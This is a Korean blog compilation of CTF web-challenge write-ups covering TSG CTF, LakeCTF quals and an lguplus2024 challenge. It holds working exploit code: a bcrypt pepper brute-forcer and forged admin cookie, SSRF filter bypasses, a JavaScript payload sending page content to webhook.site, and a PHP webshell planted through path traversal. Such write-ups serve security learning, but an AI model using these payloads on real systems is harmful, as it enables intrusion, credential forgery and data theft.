Toolong Tea

import { serve } from "@hono/node-server";
import { serveStatic } from "@hono/node-server/serve-static";
import { Hono } from "hono";

const flag = process.env.FLAG ?? "TSGCTF{DUMMY}";

const app = new Hono();

app.get("*", serveStatic({ root: "./public" }));

app.post("/", async (c) => {
	try {
		const { num } = await c.req.json();
		if (num.length === 3 && [...num].every((d) => /\d/.test(d))) {
			const i = parseInt(num, 10);
			if (i === 65536) {
				return c.text(`Congratulations! ${flag}`);
			}
			return c.text("Please send 65536");
		}
		if (num.length > 3) {
			return c.text("Too long!");
		}
		return c.text("Please send 3-digit integer");
	} catch {
		return c.text("Invalid JSON", 500);
	}
});

serve({
	fetch: app.fetch,
	port: 4932,
});

65536을 보내면 flag를 얻을 수 있지만, num.length === 3으로 인해서 제한이 있다.
parseInt 함수를 이용해서 값을 받기 때문에 리스트로 전달하면 우회할 수 있다.

$ curl -X POST http://34.84.32.212:4932/ -d '{"num": [65536, 1, 2]}'
Congratulations! TSGCTF{A_holy_night_with_no_dawn_my_dear...}

I Have Been Pwned

<?php
$pepper1 = "____REDACTED____";
$pepper2 = "____REDACTED____";
assert(strlen($pepper1) === 16 && strlen($pepper2) === 16);
$admin_password = "__REDACTED_____";
assert(strlen($admin_password) === 15);

$msg = "";
if (isset($_POST["auth"]) and isset($_POST["password"])) {
    $success = false;
    if ($_POST["auth"] === "guest") {
        $success = true;
    } else if(($_POST["auth"] === "admin") and hash_equals($admin_password, $_POST["password"])) {
        // $success = true;
        $msg = "Sorry, the admin account is currently restricted from new logins. Please use a device that is already logged in.";
    } else {
        $msg = "Invalid username or password.";
    }

    if ($success) {
        $hash = password_hash($pepper1 . $_POST["auth"] . $_POST["password"] . $pepper2, PASSWORD_BCRYPT);
        setcookie("auth", $_POST["auth"], time() + 3600*24);
        setcookie("hash", base64_encode($hash), time() + 3600*24);
        header("Location: mypage.php");
    }
}
?>

<!DOCTYPE html>
<html>
    <head>

    </head>
    <body>
        <form action="index.php" method="POST">
            Username: <input type="text" name="auth" required value="guest" />
            Password: <input type="password" name="password" required />
            <input type="submit" value="Login" />
        </form>
        <div style="color: red">
            <?= $msg ?>
        </div>
	</body>
</html>

PHP error message to leak information을 이용해서 $pepper1(15글자), $admin_password를 추출할 수 있다.

먼저, password_hash 함수에 null을 삽입해서 $pepper1(15글자)를 알아낼 수 있다.

References: https://www.php.net/manual/en/function.password-hash.php

hash_equals 함수에 Array를 삽입하면 $admin_password를 알아낼 수 있다.

$pepper1의 마지막 글자를 알아내기 위해서는 BCrypt의 특성을 활용해야 한다.
BCrypt는 입력된 비밀번호의 첫 72바이트까지만 처리하고 이후의 문자열은 무시한다. 따라서 비밀번호를 길게 입력하면 $pepper2를 무력화할 수 있고 이 상태에서 브루트 포싱을 실행하면 $pepper1의 마지막 글자를 효율적으로 추출할 수 있다.

import base64
import bcrypt
import string
import requests

URL = "http://34.84.32.212:8080"
pepper1_15 = "PmVG7xe9ECBSgLU"


response = requests.post(
    URL, data={"auth": "guest", "password": "A" * 51}, allow_redirects=False
)
hash = base64.b64decode(response.cookies["hash"])

if hash.startswith(b"$2y$"):
    hash = b"$2b$" + hash[4:]

for i in string.printable:
    if bcrypt.checkpw(f"{pepper1_15}{i}guest{'A' * 51}".encode(), hash):
        print(f"FOUND: {pepper1_15}{i}")
        break

위 테크닉을 응용하면, 동일한 방식으로 $pepper2도 추출할 수 있다.

import base64
import bcrypt
import string
import requests

URL = "http://34.84.32.212:8080"
pepper1 = "PmVG7xe9ECBSgLUA"

pepper2 = ""
for i in range(16):
    response = requests.post(
        URL,
        data={"auth": "guest", "password": "A" * (51 - (i + 1))},
        allow_redirects=False,
    )
    hash = base64.b64decode(response.cookies["hash"])

    if hash.startswith(b"$2y$"):
        hash = b"$2b$" + hash[4:]

    for j in string.printable:
        if bcrypt.checkpw(
            f"{pepper1}guest{'A' * (51 - (i + 1)) + pepper2 + j}".encode(), hash
        ):
            print(f"FOUND: {pepper2 + j}")
            pepper2 += j
            break
$ php -r "echo password_hash('PmVG7xe9ECBSgLUAadminKeTzkrRuESlhd1V8oC7mIiDFw4hQv2e', PASSWORD_BCRYPT);" | base64 -w 0
JDJ5JDEwJHBqTkl6SDg4Qm85VG1kd1NiZ3VqQWVJT0tGVm15U05XUDRqNVRXUkpPN3BEaHBnaTFyTFp1
$ curl http://34.84.32.212:8080/mypage.php -H "Cookie: auth=admin; hash=JDJ5JDEwJHBqTkl6SDg4Qm85VG1kd1NiZ3VqQWVJT0tGVm15U05XUDRqNVRXUkpPN3BEaHBnaTFyTFp1"
<!DOCTYPE html>
<html>

<head>

</head>

<body>
    Hello admin! Flag is TSGCTF{Pepper. The ultimate layer of security for your meals.}
</body>

</html>

'Hacking > CTF' 카테고리의 다른 글

TRX CTF 2025  (0) 2025.02.24
srdnlen CTF 2025 Write Up  (0) 2025.01.20
[CTF] CTF 및 Wargame 풀이팁  (0) 2025.01.15
LakeCTF '24-'25 Quals  (2) 2024.12.09

our team name was stolen

'our team name was stolen' 팀으로 Academic 부문 예선에서 10위를 기록하며 본선 진출에 성공했습니다.

평소에 풀던 웹 문제와는 달리 게싱적인 요소가 많아 어려움을 느꼈던 대회입니다 .. ㅠㅠ
웹 문제 전체 Write-Up을 작성하면 도움이 될 것 같아, 한 번 블로그에 정리해보려고 합니다.

o1

이 문제는 3단 프록시로 구성되어 있으며, 각 프록시별 필터를 우회해 SSRF를 트리거하는 방식으로 접근해야 했습니다. 최종적으로는 9222 포트에 위치한 /secret 엔드포인트에 localhost로 접속하는 것이 목표였습니다.
1단계 필터
def proxy():
    url = request.args.get('url', '')
    if not url:
        return 'Missing url parameter', 400

    # Replace backslashes with slashes
    url = url.replace('\\', '/')
    print(url, flush=True)
    parsed = urllib.parse.urlparse(url)
    print(parsed, flush=True)

    # Check for valid protocol
    if parsed.scheme not in ['http', 'https']:
        return 'invalid protocol', 400

    # Check for custom port
    if parsed.port:
        return 'no custom port allowed', 400
2단계 필터
def proxy():
    data = request.get_json()
    if not data or 'url' not in data:
        return 'Missing url parameter', 400

    url = data['url']
    parsed = urllib.parse.urlparse(url)
    scheme = parsed.scheme
    hostname = parsed.hostname
    port = parsed.port

    # Determine the port if not explicitly specified
    if port is None:
        try:
            port = socket.getservbyname(scheme)
        except:
            return 'Invalid scheme', 400

    # Validate the target domain based on the port
    if (port == 443 and hostname != 'example.com') or (port == 80 and hostname != 'example.net'):
        return 'invalid target domain!', 400

1번째와 2번째 필터는 모두 포트 검사를 수행하고 있으며, 이를 우회하는 것이 문제 해결의 핵심인 것으로 보입니다.

 

if parsed.port:
    return 'no custom port allowed', 400

이 부분에서는 port가 0일 경우 항상 false로 처리되므로 이를 이용해 필터를 우회할 수 있습니다.

 

if (port == 443 and hostname != 'example.com') or (port == 80 and hostname != 'example.net'):
    return 'invalid target domain!', 400

이 부분에서는 포트가 443 또는 80일 때만 확인하도록 되어 있으므로, 포트를 0으로 설정하면 두 조건을 모두 우회할 수 있습니다.

 

iptables -t nat -A PREROUTING -p tcp --dport 0 -j REDIRECT --to-port 80

그리고 위 iptables 설정으로 포트 0으로 설정된 요청을 정상적인 HTTP 요청으로 처리할 수 있게 했습니다.

 

Payload

curl "https://challs.polygl0ts.ch:9222/proxy?url=http://<your-server>:0"

 

해당 문제는 socket.getservbyname()로 인해 Race Condition을 이용해 해결할 수도 있습니다.

https://github.com/python/cpython/issues/74667#issuecomment-1093749466

 

socket.getservbyname(), socket.getservbyport(), socket.getprotobyname() are not threadsafe · Issue #74667 · python/cpython

BPO 30482 Nosy @pitrou, @vstinner, @njsmith, @dwfreed Note: these values reflect the state of the issue at the time it was migrated and might not reflect the current state. Show more details GitHub...

github.com

Payload

import aiohttp
import asyncio

async def req_example():
    url = "https://challs.polygl0ts.ch:9222/proxy?url=https://example.com"
    async with aiohttp.ClientSession() as session:
        async with session.get(url) as response:
            await response.text()

async def req_secret():
    url = "https://challs.polygl0ts.ch:9222/proxy?url=http:/localhost:9222/secret"
    async with aiohttp.ClientSession() as session:
        async with session.get(url) as response:
            print(await response.text())

loop = asyncio.get_event_loop()
while True:
    loop.run_until_complete(asyncio.gather(req_example(), req_secret()))

yascc

if(!error){
    res.header("content-type", query.contentType)
}

위 코드를 통해 사용자는 Content-Type 헤더를 자유롭게 조작할 수 있으며, 예를 들어 text/javascript로 변경하여 다음과 같은 post를 작성할 수 있습니다.

(async () => {let x = await fetch("/api/posts/1/body").then(res => res.text()); window.location="https://webhook.site/x/"+btoa(x)%7D)()

위 자바스크립트 코드를 실행하기 위해서는 다음과 같이 post를 작성하면 됩니다. CSP 헤더를 확인해보면 default-src가 self로 설정되어 있어 동일 출처에서만 리소스를 허용하기 때문에 실행이 가능합니다.

<script src="/api/posts/1750/body?contentType=application/javascript"></script>

 

Final Payload

 curl -X POST "https://challs.polygl0ts.ch:8333/posts/1%2F..%2F..%2Fapi%2Fposts%2F<id>%2Fbody/report"

( 아직 실제로 익스플로잇을 시도해보지 않았으므로, 로컬 환경에서 테스트를 진행해볼 예정입니다. )

 

 

'Hacking > CTF' 카테고리의 다른 글

TRX CTF 2025  (0) 2025.02.24
srdnlen CTF 2025 Write Up  (0) 2025.01.20
[CTF] CTF 및 Wargame 풀이팁  (0) 2025.01.15
TSG CTF  (0) 2024.12.16
public function edit() {

    if(!in_array($_REQUEST['type'], ['html', 'js', 'css'])) $this->util->alertExit("Invalid Type");

    if($_SERVER['REQUEST_METHOD'] == 'POST'){

        $this->file->createFile(ROOT . "user/{$this->userData[uuid]}/{$this->userData[uuid]}.{$_POST[type]}", $_POST['data']);
        $this->util->alertExit("Edit Success", 1, 2);

    }

    $tpl = new \utils\template(VIEWS . 'textarea.tpl');
    $tpl->render(["type" => $_GET['type'], "data" => $this->file->getFile(ROOT . "user/{$this->userData[uuid]}/{$this->userData[uuid]}.{$_GET[type]}")]);

}

pageController.php 파일의 edit 함수는 사용자 입력 값을 제대로 검증하지 않아 Path Traversal 취약점이 발생한다. 이를 통해 공격자는 서버에 임의의 파일을 생성하고 실행할 수 있다.

 

$_REQUEST['type']과 $_GET['type]의 값을 다르게 설정하여 검증을 우회하였다. 먼저, 쿠키에 type=css 값을 설정하여 Invalid Type 검증을 통과했다. 이후, URL에 $_GET['type'] 값을 php로 설정해 PHP Webshell을 작성할 수 있었다.

 

http://3.36.67.42/index.php?module=page&action=edit&type=php

<?php
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

 

http://3.36.67.42/user/1f36-3ace-f564-405d-b205/1f36-3ace-f564-405d-b205.php?cmd=/readflag

생성된 Webshell을 통해 명령어를 실행

 

Flag: lguplus2024{22b5662b0527d55728df2f292b1f3cc061ef73cfe5e64af88a7eeb284b9e825a}

'Hacking > Web' 카테고리의 다른 글

정보보안 수업 과제용  (0) 2025.03.20

+ Recent posts